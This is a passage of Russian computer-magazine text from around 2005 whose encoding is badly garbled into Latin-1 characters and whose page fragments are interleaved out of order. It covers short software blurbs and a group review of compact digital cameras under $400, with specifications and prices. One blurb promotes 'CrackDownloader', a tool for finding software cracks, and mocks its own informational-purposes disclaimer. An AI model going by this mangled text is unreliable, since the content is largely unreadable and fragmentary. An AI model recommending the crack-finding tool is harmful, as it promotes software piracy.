Ïîçâîëÿåò ñîçäàâàòü çàøèôðîâàííûå âèðòóàëüíûå äèñ-
êè, êîòîðûå çàòåì ìîãóò èñïîëüçîâàòüñÿ êàê îáû÷íûå ëî-

ãè÷åñêèå äèñ-
êè ñèñòåìû.
Äîñòóïíûå
àëãîðèòìû
øèôðîâà-
íèÿ: AES,
Blowfish,
CAST5,
Serpent,
Triple DES,
Twofish.

»

CRACK DOWNLOADER 2.2

CrackDownloader - ýòî ïðîñòîå ðåøåíèå äëÿ ïîèñêà
"ëåêàðñòâ" íà ïðîñòîðàõ Ñåòè.

Òåïåðü íå íóæíî êàæäûé ðàç ëàçèòü íà Astalavista: ïðîñòî
ââåäè íàçâàíèå ïðîãðàììû, è ñîôòèíà íàéäåò äëÿ òåáÿ
âñå, ÷òî íóæíî :). Âíèìàíèå! Ïðîãðàììà ïðåäîñòàâëÿåòñÿ
òîëüêî äëÿ îçíàêîìèòåëüíûõ öåëåé :)!

»

PANDA PT INTERNET SECURITY 2005

Íîâûé ïàêåò îò íåáåçûçâåñòíîé Panda. Íà ýòîò ðàç
íå ïðîñòî àíòèâèðóñ - ýòî ïàêåò ÏÎ äëÿ êîìïëåêñ-
íîé çàùèòû òâîåãî ÏÊ.

Èìååò â ñåáå íå òîëüêî áàíàëüíûå àíòèâèðóñ, ôàéðâîë è
ò.ï., íî åùå
è ñïàì-
ôèëüòð, íå-
êóþ ñèñòå-
ìó çàùèòû
îò ìîøåí-
íè÷åñòâà â
Ñåòè, ñåòå-
âîé ôèëüòð
è êó÷ó äðó-
ãèõ ñåðâè-
ñîâ.

»



ÂÑÒÓÏËÅÍÈÅ
Íàñòóïàåò áàðõàòíûé ñå-

çîí è âðåìÿ îòïóñêîâ äëÿ òåõ,
êòî ïåðåæäàë ñàìóþ æàðêóþ
ïîðó ñèäÿ â îôèñå èëè äîìà

ñî âêëþ÷åííûì êîíäèöèîíåðîì. Ñîáèðàÿñü â
äîðîãó, òû íåïðåìåííî íàáåðåøü õîðîøåé
ìóçûêè, ÷òîáû íå ñêó÷àòü â äîðîãå, ìíîæåñò-
âî âåùåé, èç êîòîðûõ íàäåíåøü òîëüêî ãà-
âàéêó è øîðòû, è, êîíå÷íî æå, ôîòîàïïàðàò -
íåïðåìåííî öèôðîâîé. Ïîêàòàâøèñü ýòèì ëå-
òîì, ÿ îáðàòèë âíèìàíèå íà òî, ÷òî, íåñìîòðÿ
íà áîëüøóþ ëþáîâü ê êà÷åñòâåííûì ñíèì-
êàì, áîëüøèíñòâî áåðóò â äîðîãó íåáîëüøèå
ôîòîàïïàðàòû, äàáû íå çàíèìàòü äðàãîöåí-
íîå ìåñòî è íå ñòåñíÿòü äâèæåíèé. Ïðîôåññè-
îíàëüíûå öèôðîâûå êàìåðû ñ òðåìÿ îáúåê-
òèâàìè, øòàòèâàìè, ãîðêîé àêêóìóëÿòîðîâ è
ñòîïêîé flash'åê ìû îñòàâèì ôàíàòàì ñâîåãî
äåëà, à ñàìè ñíàðÿäèìñÿ ïîïðîùå.

Äëÿ òåñòà âûáðàíû ôîòîàïïàðàòû ñ âåðõ-
íèì ïðåäåëîì öåíû â 400 åäèíèö ïî àìåðè-
êàíñêîé äåíåæíîé ñèñòåìå. Ýòè ôîòîàïïàðà-
òû îòëè÷àþòñÿ îò ïðîñòûõ "ìûëüíèö" òåì,
÷òî èìåþò îïòè÷åñêèé çóì, ðó÷íûå íàñòðîéêè
âûäåðæêè è äèàôðàãìû è íåáîëüøèå ãàáà-
ðèòû - ýäàêàÿ ñìåñü àâòîìàòèêè ñ âîçìîæ-
íîñòüþ ïîêîëäîâàòü íàä êàäðîì ïðè æåëà-
íèè. Ñðàçó îòìåòèì, ÷òî íå ñòîèò æäàòü îò òà-
êèõ ôîòîàïïàðàòîâ êàðòèíêè, êîòîðóþ ìîæ-
íî ïîìåñòèòü íà áèëë-áîðä, íî ôîòîãðàôèÿ,
ñäåëàííàÿ òîáîé, óêðàñèò ëþáîé ôîòîàëü-
áîì. ß äàì íåñêîëüêî ñîâåòîâ, êîòîðûå îá-
ëåã÷àò ïóòåøåñòâèå.

Äîêóïè ê ôîòîàïïàðàòó flash-êàðòó îáúå-
ìîì íå ìåíåå 1 Ãá è íå óäàëÿé ôîòîãðàôèè ñ
ôîòîàïïàðàòà: ÆÊ-äèñïëåé äîñòàòî÷íî ìà-
ëåíüêèé, è ñóùåñòâóåò âåðîÿòíîñòü óäàëèòü
÷åòêèå êàäðû, îñòàâèâ ðàçìûòûå. Îáÿçà-
òåëüíî êóïè ìÿãêèé è âëàãîíåïðîíèöàåìûé
(!) ÷åõîë: îí óáåðåæåò êàìåðó îò äîæäÿ è
ñïàñåò åå îò ìåõàíè÷åñêèõ ïîâðåæäåíèé.
Íåïëîõî âçÿòü ÷åõîë ÷óòü áîëüøå íåîáõî-
äèìîãî, äàáû òóäà ïîìåñòèëèñü äîêóìåíòû
èëè òåëåôîí âî âðåìÿ äîæäÿ, åñëè áóäåò
íåãäå ñïðÿòàòüñÿ. Åñëè ïîñëå ïîêóïêè âñåãî
íåîáõîäèìîãî ê îòïóñêó íà ìîðå ó òåáÿ îñòà-
ëîñü íåìíîãî äåíåã, ñîâåòóþ ïîäóìàòü î
ïðèîáðåòåíèè áîêñà äëÿ ïîäâîäíîé ñúåìêè.
Õîòÿ öåíà òàêèõ ãàäæåòîâ ïîðîé ñðàâíèìà ñ
öåíîé ôîòîàïïàðàòà, íî óäîâîëüñòâèå îò
ñíèìêîâ, ñäåëàííûõ ïîä âîäîé, ñ ëèõâîé
îêóïèò çàòðàòû.

HARD ÔÎÒÈÊÈ ÄËß...106

106 Ôîòèêè äëÿ...
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Olympus 
Camedia C-55

Casio 
Exilim EX-Z57

FUJIFILM 
FinePix F455

Konica Minolta 
E50

Nikon 
Coolpix 5900

FujiFilm 
FinePix F10

Pentax optio 
S5n

Olympus [mju:] 
DIGITAL 500

SAMSUNG 
Digimax V700

Àëåêñåé Øóâàåâ, test_lab (test_lab@gameland.ru)

Ê àæäûé èç íàñ, îòïðàâëÿÿñü íà îòäûõ, áóäü òî çàãîðîäíàÿ ïîåçäêà èëè
ïóòåøåñòâèå â ýêçîòè÷åñêèå ñòðàíû, çàäóìûâàåòñÿ íàä òåì, êàê ñîõðàíèòü

óâèäåííîå. Òóò æå â ãîëîâó ïðèõîäèò ìûñëü î âèäåîêàìåðå èëè ôîòîàïïàðàòå.
Î âòîðîì ìû ñåé÷àñ è ïîãîâîðèì.

ÔÎÒÈÊÈ 
ÄËß...
ÍÅÁÎ! ÌÎÐÅ! ÎÒÄÛÕ!
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ÍÀ ×ÒÎ ÑÒÎÈÒ
ÎÁÐÀÒÈÒÜ ÂÍÈÌÀÍÈÅ

Âñå ïðîòåñòèðîâàííûå
êàìåðû îáëàäàþò âîçìîæ-
íîñòüþ ðó÷íîé íàñòðîéêè
ïàðàìåòðîâ ñúåìêè. ×åì
áîëüøå òàêèõ íàñòðîåê, òåì
èíòåðåñíåå áóäåò ñíèìàòü
ñïóñòÿ êàêîå-òî âðåìÿ. Òàê-
æå îáðàòè âíèìàíèå íà èñ-
òî÷íèê ïèòàíèÿ: åñëè ýòî
ñúåìíàÿ Li-Ion-áàòàðåÿ, îíà
ñíèæàåò îáùèé âåñ êàìåðû,
íî åñòü øàíñ îñòàòüñÿ áåç
ñíèìêîâ, åñëè òû ñîáèðà-
åøüñÿ ïðîéòèñü ïî äèêèì è
íå çàòðîíóòûì öèâèëèçàöè-
åé ìåñòàì. Îáû÷íûå áàòà-
ðåéêè ÀÀ â êà÷åñòâå ýëå-
ìåíòîâ ïèòàíèÿ óâåëè÷èâà-
þò âåñ ôîòîàïïàðàòà, íî èõ
ìîæíî ïðèîáðåñòè íà êàæ-
äîì óãëó, à ïðè íåîáõîäè-
ìîñòè çàïàñòèñü ïàðîé óïà-
êîâîê. ×òî âûáðàòü, ðåøàòü
òåáå, íî ÿ ïðåäïî÷èòàþ
âñåãäà áûòü â ïîëíîé ãîòîâ-
íîñòè. Âûáèðàÿ ôîòîàïïà-
ðàò, îáðàòè âíèìàíèå íå
òîëüêî íà òåõíè÷åñêèå õà-
ðàêòåðèñòèêè, íî è íà ýðãî-
íîìèêó: îò íåå çàâèñèò, áó-

äåò ëè ó òåáÿ óñòàâàòü ðóêà
ïðè ïðîäîëæèòåëüíîé ñú-
åìêå è íå âûðîíèøü ëè òû
ôîòîàïïàðàò. Ïîïðîáóé
ñðàçó ñäåëàòü íåñêîëüêî
ñíèìêîâ è ïðîñìîòðè èõ íà
áîëüøîì ýêðàíå - áèòûõ
ïèêñåëîâ áûòü íå äîëæíî.
Ïîïðîáóé ñäåëàòü ñåðèè
ñíèìêîâ: ñêîðîñòü çàïèñè
íà flash'êó çàâèñèò íå òîëü-
êî îò ìèêðîñõåìû ïàìÿòè,
íî è îò ïðîöåññîðà â ôîòî-
àïïàðàòå. Ïîðîé áûâàåò
íóæíî èìåòü ãëàçîê âèäî-
èñêàòåëÿ â äîïîëíåíèå ê
ÆÊ-ýêðàíó, òàê ÷òî îáðàòè
è íà ýòî âíèìàíèå. Òåïåðü
ïåðåéäåì ê òåõíè÷åñêèì õà-
ðàêòåðèñòèêàì.

ÒÒÕ
Ïîêóïàÿ ôîòîàïïàðàò,

ìíîãèå ñìîòðÿò íà öèôðû è
íå âäàþòñÿ â äåòàëè. À âåäü
7-ìåãàïèêñåëíûé ôîòîàï-
ïàðàò ìîæåò âûäàâàòü
ñíèìêè áîëåå íèçêîãî êà÷å-
ñòâà, ÷åì 5-ìåãàïèêñåëíèê.
Îáðàòè âíèìàíèå íà îïòèêó,
òàê êàê îáû÷íî â íåé êðîåò-
ñÿ ïðè÷èíà âñåâîçìîæíûõ

èñêàæåíèé. Òåïåðü î êðàò-
íîñòè ïðèáëèæåíèÿ - çóì
èëè îïòè÷åñêèé òðàíñôîêà-
òîð. Ñòîèò ÷åòêî ðàçäåëÿòü
öèôðîâîé è îïòè÷åñêèé
çóì. Åñëè îïòè÷åñêèé ðåà-
ëèçóåòñÿ íà îñíîâå îïòèêè,
òî öèôðîâîé çóì � íà îñíî-
âå ýëåêòðîíèêè. Ïðè èñ-
ïîëüçîâàíèè îïòè÷åñêîãî
çóìà âàæíî ïîíèìàòü, ÷òî
êà÷åñòâî êàðòèíêè ñíèæàåò-
ñÿ ïðîïîðöèîíàëüíî êðàò-
íîñòè öèôðîâîãî ïðèáëè-
æåíèÿ.

Åñëè òâîé ôîòîàïïàðàò
îñíàùåí ìèêðîôîíîì, òî,
åñòåñòâåííî, ó òåáÿ ïîÿâèò-
ñÿ âîçìîæíîñòü äåëàòü íå-
áîëüøèå âèäåîðîëèêè ñî
çâóêîì èëè îñòàâëÿòü ãîëî-
ñîâûå êîììåíòàðèè ê ôî-
òîãðàôèÿì.

ÊÀÊ ÌÛ
ÒÅÑÒÈÐÎÂÀËÈ

Âçÿâ ôîòîàïïàðàò â ðó-
êè, ïåðâûì äåëîì îáðàùà-
åøü âíèìàíèå íà ýðãîíîìè-
êó. Ðàñïîëîæåíèå ýëåìåí-
òîâ óïðàâëåíèÿ, ëåãêîñòü
íàæàòèÿ íà êíîïêè, äîñòóï-

íîñòü ýëåìåíòîâ óïðàâëå-
íèÿ - âîò ôàêòîðû, êîòîðûå
ôîðìèðóþò ïåðâîå âïå÷àò-
ëåíèå. Íàëè÷èå áîëüøîãî
ÆÊ-äèñïëåÿ âñåãäà ïðèâåò-
ñòâóåòñÿ, ïîòîìó ÷òî ãîðàç-
äî ïðèÿòíåå èçó÷àòü êîìïî-
çèöèþ íå ÷åðåç ãëàçîê âè-
äîèñêàòåëÿ, êîòîðûé ÷àñòî
èñêàæàåò ãåîìåòðèþ. Õîòÿ
ãëàçîê ìîæåò áûòü ïîëåçåí
â î÷åíü ÿðêóþ ïîãîäó, êîã-
äà èçîáðàæåíèå íà LCD
ïðîñòî ìåðêíåò. Ðóñèôèêà-
öèÿ è ëåãêîñòü íàâèãàöèè
ïî ìåíþ òàêæå îöåíèâà-
ëèñü. Ïðåäóñòàíîâëåííûå
ðåæèìû ñúåìêè è âîçìîæ-
íîñòè ðó÷íîé íàñòðîéêè
ìíîãèõ ïàðàìåòðîâ èñïûòû-
âàëèñü òùàòåëüíûì îáðà-
çîì è îòðàçèëèñü íà âûñ-
òàâëåííûõ íàìè êîíå÷íûõ
áàëëàõ. Îáùåå âïå÷àòëå-
íèå îò ðàáîòû ñ êàìåðîé â
òå÷åíèå íåñêîëüêèõ äíåé
âûëèëîñü â îöåíêó ôîòîàï-
ïàðàòà. Íó è, êîíå÷íî, ñà-
ìîå ãëàâíîå � ýòî êà÷åñòâî
ïîëó÷åííûõ ñíèìêîâ. E

Êàìåðà Olympus
Camedia C-55 íà ðûí-

êå èçâåñòíà òàê æå, êàê Ñ-
5500 Sport Zoom. Olympus
Camedia ïîëó÷èëà èìåííî
ýòî èìÿ íåñïðîñòà: íåñìîòðÿ
íà ìàëûå ãàáàðèòû îáúåêòè-
âà, îí îáëàäàåò 5-êðàòíûì
îïòè÷åñêèì óâåëè÷åíèåì,
÷òî íå ñâîéñòâåííî àïïàðà-
òàì òàêîãî êëàññà. Ïîìèìî
ñâîèõ îïòè÷åñêèõ ñâîéñòâ,
îáúåêòèâ îáëàäàåò õîðîøåé
ñêîðîñòüþ ðàáîòû è áûñò-
ðûì îòêëèêîì íà óïðàâëÿþ-
ùèå êíîïêè.
Èç îñîáåííîñòåé âíåøíåãî
âèäà ñòîèò îòìåòèòü ñõîä-
ñòâî ñ ïëåíî÷íûìè ìûëüíè-
öàìè: îòñåê äëÿ flash-êàðòû
âûïîëíåí òàê, ñëîâíî ïîä
íèì êðîåòñÿ ïëåíêà. Òàêîå
ñõîäñòâî, ñêîðåå, ñëîæèëîñü
ñëó÷àéíî, à íå áûëî îáåñïå-
÷åíî íàìåðåííî. Óäîáñòâî
ðàáîòû ñ àïïàðàòîì íà óðîâ-

íå: âñå êíîïêè ðàñïîëîæåíû
òàêèì îáðàçîì, ÷òîáû èñ-
ïîëüçîâàòü îòâåäåííîå äëÿ
ñúåìêè âðåìÿ ìàêñèìàëüíî
ýôôåêòèâíî, ýòîìó ñïîñîá-
ñòâóåò è "ñïîðòèâíûé çóì".
Â ïðàâîé ÷àñòè èìååòñÿ ïðî-
ðåçèíåííûé âûñòóï, êîòî-
ðûé ïîçâîëèò ôèêñèðîâàòü
êàìåðó îäíîé ðóêîé. Ïðè ðà-
áîòå íàì î÷åíü ïîíðàâèëàñü
áûñòðàÿ ôîêóñèðîâêà íà
îáúåêòàõ. Îñîáîãî êîìïëè-
ìåíòà çàñëóæèë ìàêðîðå-

æèì, êîòîðûé ïîçâîëÿåò
ñíèìàòü îáúåêòû ñ ðàññòîÿ-
íèÿ äâóõ ñàíòèìåòðîâ - îò-
ëè÷íûé ïîêàçàòåëü.
×òî êàñàåòñÿ ñúåìêè, òî
çäåñü èìåþòñÿ äåñÿòü ïðå-
äóñòàíîâëåííûõ ñöåí ïëþñ
âîçìîæíîñòü íàñòðîèòü
îäèí ðåæèì ïîä ñåáÿ. Åñëè
òû ïðåäïî÷èòàåøü ôèêñè-
ðîâàòü êàäðû ïî ïðèíöèïó
"âêëþ÷èë è ñíÿë", òî ìî-
æåøü ïîëîæèòüñÿ íà àâòî-
ìàòèêó: ïðîöåññîð TruePic

TURBO ñäåëàåò âñå çà òåáÿ.
Ðàáîòà ñ íàñòðîéêàìè âû-
ïîëíÿåòñÿ ÷åðåç ìåíþ, êîòî-
ðîå ìîæåò ïîêàçàòüñÿ íåñ-
êîëüêî ñâîåîáðàçíûì.

OLYMPUS CAMEDIA C-55

» Òåõíè÷åñêèå õàðàêòåðèñòèêè:

Ðàçìåðû ìàòðèöû: 5,1 Ìï,
2592õ1944
Îáúåêòèâ: 5õ îïòè÷åñêèé + 4õ
öèôðîâîé çóì

Íîñèòåëü: êàðòû xD; 16 Ìá â
êîìïëåêòå
ÆÊ: 2.0"
Ôîðìàò: JPEG, TIFF; âèäåî:
QuickTime Motion JPEG
(320õ240, 30 êàäð/ñ); çâóê:
WAV
Öåíà: $325



Âçÿâ â ðóêè ýòîò ôî-
òîàïïàðàò, íà÷èíàåøü

ïîíèìàòü, ÷òî çíà÷èò
ÑÒÈËÜ. Ñåêðåò ïðîñòîòû è
ïðèâëåêàòåëüíîñòè êðîåòñÿ
â ïðÿìûõ ëèíèÿõ. È õîòÿ óã-
ëû íåñêîëüêî ñêðóãëåíû,
ôîòîàïïàðàò âûãëÿäèò ïðÿ-
ìîóãîëüíûì. Åãî êîðïóñ âû-
ïîëíåí èç ïëàñòèêà è èìååò
ìåòàëëè÷åñêèå âñòàâêè, êî-
òîðûå ñëóæàò íå òîëüêî äëÿ
äåêîðà, íî è äëÿ äîïîëíè-
òåëüíîé çàùèòû. Òàêîå ñî-
÷åòàíèå ìàòåðèàëîâ ïîçâî-
ëèëî ñíèçèòü âåñ àïïàðàòà,
÷òî íåìàëîâàæíî äëÿ êîì-
ïàêòíûõ óñòðîéñòâ. Ìèíèìà-
ëèçì âî âñåì - ñóùíîñòü
ýòîãî ôîòîàïïàðàòà. Çàãëÿ-
íóâ â ìåíþ, ìîæíî îòìåòèòü

ïðîñòîòó è óäîáñòâî. Øåñòü
ñþæåòíûõ ïðîãðàìì, ñðåäè
êîòîðûõ ïðèñóòñòâóåò îäíà
ñ âîçìîæíîñòüþ ðó÷íîé óñ-
òàíîâêè ïàðàìåòðîâ.
Ñòîèò îòìåòèòü, ÷òî êàìåðà
íå ïîçâîëèò âûñòàâèòü âû-
äåðæêó è äèàôðàãìó, íî ýòî
êîìïåíñèðóåòñÿ îòëè÷íîé

àâòîìàòèêîé, êîòîðàÿ ñäå-
ëàåò âñå çà òåáÿ. Ñêîðîñòè
ðàáîòû àâòîôîêóñà áóäåò
äîñòàòî÷íî, ÷òîáû ñíÿòü
ïòèöó â ïîëåòå, - õîðîøèé
ðåçóëüòàò ðàáîòû ýëåêòðî-
íèêè è ìåõàíèêè. Ïðàêòè÷åñ-
êè âî âñåõ ðåæèìàõ ñúåìêè
âñïûøêà íå ëó÷øèì îáðà-
çîì âëèÿåò íà êà÷åñòâî ôî-
òî, çà èñêëþ÷åíèåì ïîðòðåò-
íîé ñúåìêè. Ïîýòîìó ïîñòà-
ðàéñÿ ôîòîãðàôèðîâàòü íå
çàäåéñòâóÿ âñïûøêó.
Ïîðàäîâàëà êîìïëåêòàöèÿ
óñòðîéñòâà. Èìåþùèéñÿ
êðýäë ïîçâîëÿåò íå òîëüêî
çàðÿæàòü àêêóìóëÿòîð, íå
âûíèìàÿ åãî èç ôîòîàïïà-
ðàòà (èëè ïîäêëþ÷àÿ ïðîâî-
äà), íî åùå è ñêà÷èâàòü

ñíèìêè. Èòîãî: áûñòðûé, êà-
÷åñòâåííûé, óäîáíûé ôîòî-
àïïàðàò äëÿ àêòèâíîãî
ïîëüçîâàòåëÿ.

FUJIFILM FINEPIX F455

»
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Ôîòîêàìåðà îò Casio
ïðèâëåêàåò, â ïåðâóþ

î÷åðåäü, ñâîèìè ðàçìåðàìè.
Çàíèìàÿ â êàðìàíå ìåñòà
÷óòü áîëüøå, ÷åì êðåäèòíàÿ
êàðòî÷êà, îíà îáëàäàåò íåï-
ëîõèìè õàðàêòåðèñòèêàìè.
Òðåõêðàòíûé îïòè÷åñêèé è
÷åòûðåõêðàòíûé öèôðîâîé
çóì ïîçâîëÿò ðàññìîòðåòü
ïðàêòè÷åñêè ëþáîé îáúåêò íà
äîñòàòî÷íîì óäàëåíèè îò
îïåðàòîðà. Áîëüøîé ÆÊ-
äèñïëåé, êîòîðûé âûñòóïàåò
â ðîëè âèäîèñêàòåëÿ, èìååò
äèàãîíàëü 2,7 äþéìà è çàíè-
ìàåò ïðàêòè÷åñêè âñþ çàä-
íþþ ñòåíêó êîðïóñà. Òàì æå
ðàñïîëîæåíû ýëåìåíòû óï-
ðàâëåíèÿ, êîòîðûõ î÷åíü

íåìíîãî, - òîëüêî ñàìûå íåîá-
õîäèìûå. Çàùèòèòü âñþ
ýëåêòðîííóþ íà÷èíêó ïðèç-
âàí ïðî÷íûé àëþìèíèåâûé
êîðïóñ, êîòîðûé óáåðåæåò
ýëåêòðè÷åñêóþ ñõåìó ïðè
ñëó÷àéíîì ïàäåíèè è íå äî-
ïóñòèò ïîÿâëåíèÿ öàðàïèí,

åñëè òû ÷àñòî íîñèøü êàìåðó
â êàðìàíå âìåñòå ñ êëþ÷àìè.
Äåâàéñ îáåñïå÷èâàåòñÿ
ýíåðãèåé Li-Ion-àêêóìóëÿòî-
ðîì, êîòîðîãî âïîëíå õâàòèò
íà íåñêîëüêî ñîòåí ñíèìêîâ
(òîëüêî åñëè òû íå ñîáèðà-
åøüñÿ ñíèìàòü ïîñòîÿííî â
ïîëíîé òåìíîòå). Ïðåäóñòà-
íîâëåííûõ ðåæèìîâ ñúåìêè
íåò, íî àâòîìàòèêà äîâîëüíî
óñïåøíî ñïðàâëÿåòñÿ ñî ñâî-
åé çàäà÷åé â ëþáûõ óñëîâè-
ÿõ. Äîïóñêàåòñÿ âîçìîæ-
íîñòü ðó÷íîé óñòàíîâêè íàñò-
ðîåê, äëÿ ÷åãî ïîòðåáóåòñÿ
âîñïîëüçîâàòüñÿ íàñòðîéêà-
ìè ìåíþ. Ïðè êàæäîì èçìåíå-
íèè ïàðàìåòðà ìåíþ çàêðû-
âàåòñÿ è òåì ñàìûì íå ïîçâî-

ëÿåò èçìåíèòü íåñêîëüêî
ïóíêòîâ çà îäèí ðàç, ÷òî íå
î÷åíü óäîáíî. Èç íåîáû÷íîãî
ìîæíî îòìåòèòü âîçìîæ-
íîñòü ñîçäàíèÿ HTML-àëüáî-
ìà, êîòîðûé ñ flash'êè ñðàçó
âûêëàäûâàåòñÿ íà ñòðàíè÷êó,
ïëþñ ïðîãðàììèðîâàíèå êíî-
ïîê, íàëè÷èå ôîòîêàëåíäàðÿ.

CASIO EXILIM EX-Z57

»

Âçÿâ â ðóêè Konica
Minolta E50 è ïîêðó-

òèâ åãî, òû ïî äîñòîèíñòâó
îöåíèøü ñòàðàíèÿ äèçàé-
íåðîâ è èíæåíåðîâ. Ñòèëü-
íûé êîðïóñ íå äîïóñòèë
ïðèñóòñòâèÿ ëèøíèõ êíî-
ïîê, îäíàêî íè÷òî âàæíîå
íå áûëî óïóùåíî. Áîëüøîé
TFT-äèñïëåé â 2,5 äþéìà
çàíèìàåò ïðàêòè÷åñêè âñþ
çàäíþþ ïàíåëü è ïîçâîëÿ-
åò îöåíèòü ñäåëàííûé êàäð
ïîëíîñòüþ. Ïîìèìî ïðîñòî-
ãî ñíèìêà, òû ìîæåøü âû-
âåñòè äîïîëíèòåëüíóþ èí-
ôîðìàöèþ î òåêóùèõ íàñò-
ðîéêàõ è äàæå ãèñòîãðàììó.
Ïðèñóòñòâóåò âîçìîæíîñòü
îòêëþ÷àòü äèñïëåé ïðè ðà-
áîòå, íî çà÷åì ýòî ñäåëàíî

ïðè îòñóòñòâèè îïòè÷åñêî-
ãî âèäîèñêàòåëÿ, òðóäíî
ñêàçàòü.
Ñêîðîñòü ðàáîòû ôîòîàï-
ïàðàòà ïîðàäîâàëà: íà ïîä-
ãîòîâêó ê ñúåìêå êàìåðå
ïîòðåáóåòñÿ âñåãî îêîëî
ñåêóíäû ïîñëå âêëþ÷åíèÿ.
Ïðîñòîå è ïîíÿòíîå ìåíþ

íà ðóññêîì ÿçûêå îáëåã÷èò
ðàáîòó ñ íàñòðîéêàìè. Íåñ-
ìîòðÿ íà ìàëûå ãàáàðèòû,
êàìåðà îñíàùåíà îòëè÷-
íûì îáúåêòèâîì, êîòîðûé
íå äàåò èñêàæåíèé. Ñòàâ-
øèé óæå ñòàíäàðòíûì äëÿ
ýòîãî êëàññà óñòðîéñòâ
òðåõêðàòíûé îïòè÷åñêèé
çóì ðàáîòàåò ÷åòêî è ñëà-
æåííî ñ àâòîìàòè÷åñêîé
ôîêóñèðîâêîé. 5-ìåãàïèê-
ñåëíàÿ ìàòðèöà ïîçâîëÿåò
äåëàòü îòëè÷íûå ñíèìêè,
íî èíîãäà ãðåøèò "çàøóì-
ëåííîñòüþ" êàäðà ïðè íèç-
êîé îñâåùåííîñòè. Âîç-
ìîæíîñòü ñíèìàòü âèäåî ñ
ðàçðåøåíèå 640õ480 ñòî-
èò ðàññìàòðèâàòü êàê ïðè-

ÿòíûé áîíóñ, íî íå êàê çà-
ìåíó âèäåîêàìåðû.

KONICA MINOLTA E50

»

Òåõíè÷åñêèå õàðàêòåðèñòèêè:

Ðàçìåðû ìàòðèöû: 5,0 Ìï,
2560x1920
Îáúåêòèâ: 3õ îïòè÷åñêèé + 4õ
öèôðîâîé çóì

Íîñèòåëü: êàðòû SD/MMC; 9,3
Ìá âñòðîåíî
ÆÊ: 2.7"
Ôîðìàò: JPEG; âèäåî: AVI
(Motion JPEG) (320õ240 15
êàäð/ñ); çâóê: WAV (ìîíî)

Öåíà: $400

Òåõíè÷åñêèå õàðàêòåðèñòèêè:

Ðàçìåðû ìàòðèöû: 5,2 Ìï,
2592x1944
Îáúåêòèâ: 3,4õ îïòè÷åñêèé 
çóì + 4õ öèôðîâîé

Íîñèòåëü: êàðòû xD-Picture
Card; 16 Ìá â êîìïëåêòå
ÆÊ: 2.0"
Ôîðìàò: JPEG; âèäåî: AVI
(Motion JPEG) (320õ240 15
êàäð/ñ); çâóê: WAV (ìîíî)

Öåíà: $310

Òåõíè÷åñêèå õàðàêòåðèñòèêè:

Ðàçìåðû ìàòðèöû: 5,0 Ìï,
2560x1920
Îáúåêòèâ: 3õ îïòè÷åñêèé çóì +
4õ öèôðîâîé

Íîñèòåëü: êàðòû Secure Digital
åìêîñòüþ äî 512 Má
ÆÊ: 2.5"
Ôîðìàò: JPEG; âèäåî: AVI
(640x480 èëè 320x240, 15
êàäð/ñ, ìîíî)

Öåíà: $300
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Äèçàéí êàìåðû çíà-
êîì âñåì, êòî ñòàëêè-

âàëñÿ ñ ëèíåéêîé êàìåð
COOLPIX îò Nikon. Íåèçìåí-
íîñòü ôîðì, âèäèìî, ïðî-
äèêòîâàíà õîðîøî ïðîäó-
ìàííîé ýðãîíîìèêîé. È
äåéñòâèòåëüíî, ìåòàëëè-
÷åñêèé êîðïóñ ñ âûñòóïîì
äëÿ ïðàâîé ðóêè ìîæíî
òîëüêî ïîõâàëèòü. Äîñòóï-
íû âñå ýëåìåíòû óïðàâëå-
íèÿ, à óâåëè÷èâøèéñÿ äî
äâóõ äþéìîâ äèñïëåé ïîðà-
äóåò âûñîêîé êîíòðàñò-
íîñòüþ è ÷åòêîñòüþ îòîáðà-
æåíèÿ. Ýòî îñîáåííî çàìåò-
íî ïðè óâåëè÷åíèè ñäåëàí-
íîãî ñíèìêà. Êñòàòè, óñòðîé-
ñòâî óìååò ñîõðàíÿòü îò-
äåëüíûì êàäðîì óâåëè÷åí-
íóþ îáëàñòü ñíèìêà ïðîñ-
òûì îáðåçàíèåì ëèøíåãî.

Òàê êàê ôîòîàïïàðàò ðàñ-
ñ÷èòàí íà íîâè÷êîâ, â íàñò-
ðîéêàõ ïðèñóòñòâóþò 16 ñþ-
æåòíûõ ïðîãðàìì íà âñå
ñëó÷àè æèçíè, êîòîðûå îñ-
âîáîæäàþò îò ðó÷íîé íàñò-
ðîéêè ïàðàìåòðîâ ñúåìêè.
Ïðèÿòíàÿ ôóíêöèÿ D-
Lighting îáëåã÷èò ðàáîòó ñ
êîíòðàñòíûìè ñíèìêàìè,
âûðàâíèâàÿ ÿðêîñòü ïî âñå-
ìó êàäðó. Ñðåäè ðåæèìîâ

ñúåìêè ïðèñóòñòâóåò äàæå
óñòàíîâêà ïîäâîäíîé ñúåì-
êè, òàê ÷òî íåïðîìîêàåìûé
áîêñ áóäåò î÷åíü êñòàòè.
Äëÿ òîãî ÷òîáû òû è â òåì-
íîòå íå òåðÿë íàâûêîâ 
ñúåìêè, êàìåðà îñíàùåíà
ôîòîâñïûøêîé è ëàìïîé
ïîäñâåòêè àâòîôîêóñà. Íà
óäèâëåíèå õîðîøî ðàáîòà-
åò áàëàíñ áåëîãî â ïîìåùå-
íèè - áîëüøàÿ ðåäêîñòü äëÿ
ôîòîàïïàðàòîâ ýòîãî êëàñ-
ñà. Èç áîíóñîâ êàìåðû ñòî-
èò óïîìÿíóòü âîçìîæíîñòü
çàïèñè ãîëîñîâûõ ìåòîê è
ôóíêöèþ ïðåäóïðåæäåíèÿ
ïëîõîé ðåçêîñòè êàäðà -
î÷åíü ïîëåçíî äëÿ 
íîâè÷êîâ.

NIKON COOLPIX 5900

»
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Êàìåðà îò FUJI ëèíåéêè
F âîîðóæåíà ñòèëüíûì

äèçàéíîì è öåëüíîìåòàëëè-
÷åñêèì êîðïóñîì, êîòîðûé
ïðèçâàí óáåðå÷ü äåâàéñ îò
ñëó÷àéíûõ ïîâðåæäåíèé.
Áîëüøîé ÆÊ-äèñïëåé èìååò
çàùèòíîå ïîêðûòèå, êîòîðîå
ñíèçèò ðèñê ïîÿâëåíèÿ öàðà-
ïèí íà ýêðàíå. Èíòåðåñíûì
ìîæíî íàçâàòü ðåàëèçàöèþ
âûõîäîâ âèäåî, USB è ïèòà-
íèÿ (íà êîðïóñå èìååòñÿ âñåãî
îäèí âûõîä, ê êîòîðîìó ïîä-
êëþ÷àåòñÿ ðàçâåòâèòåëü). Òà-
êàÿ ñõåìà íå ëèøåíà ìèíóñîâ:
âîçìîæíûé èçíîñ êîííåêòî-
ðà, ïåðåãèáû ïðîâîäîâ ïðî-
âîöèðóþò óõóäøåíèå êîíòàê-
òà, íî ïðè àêêóðàòíîé ýêñïëó-
àòàöèè ïåðåõîäíèê ïðîæèâåò

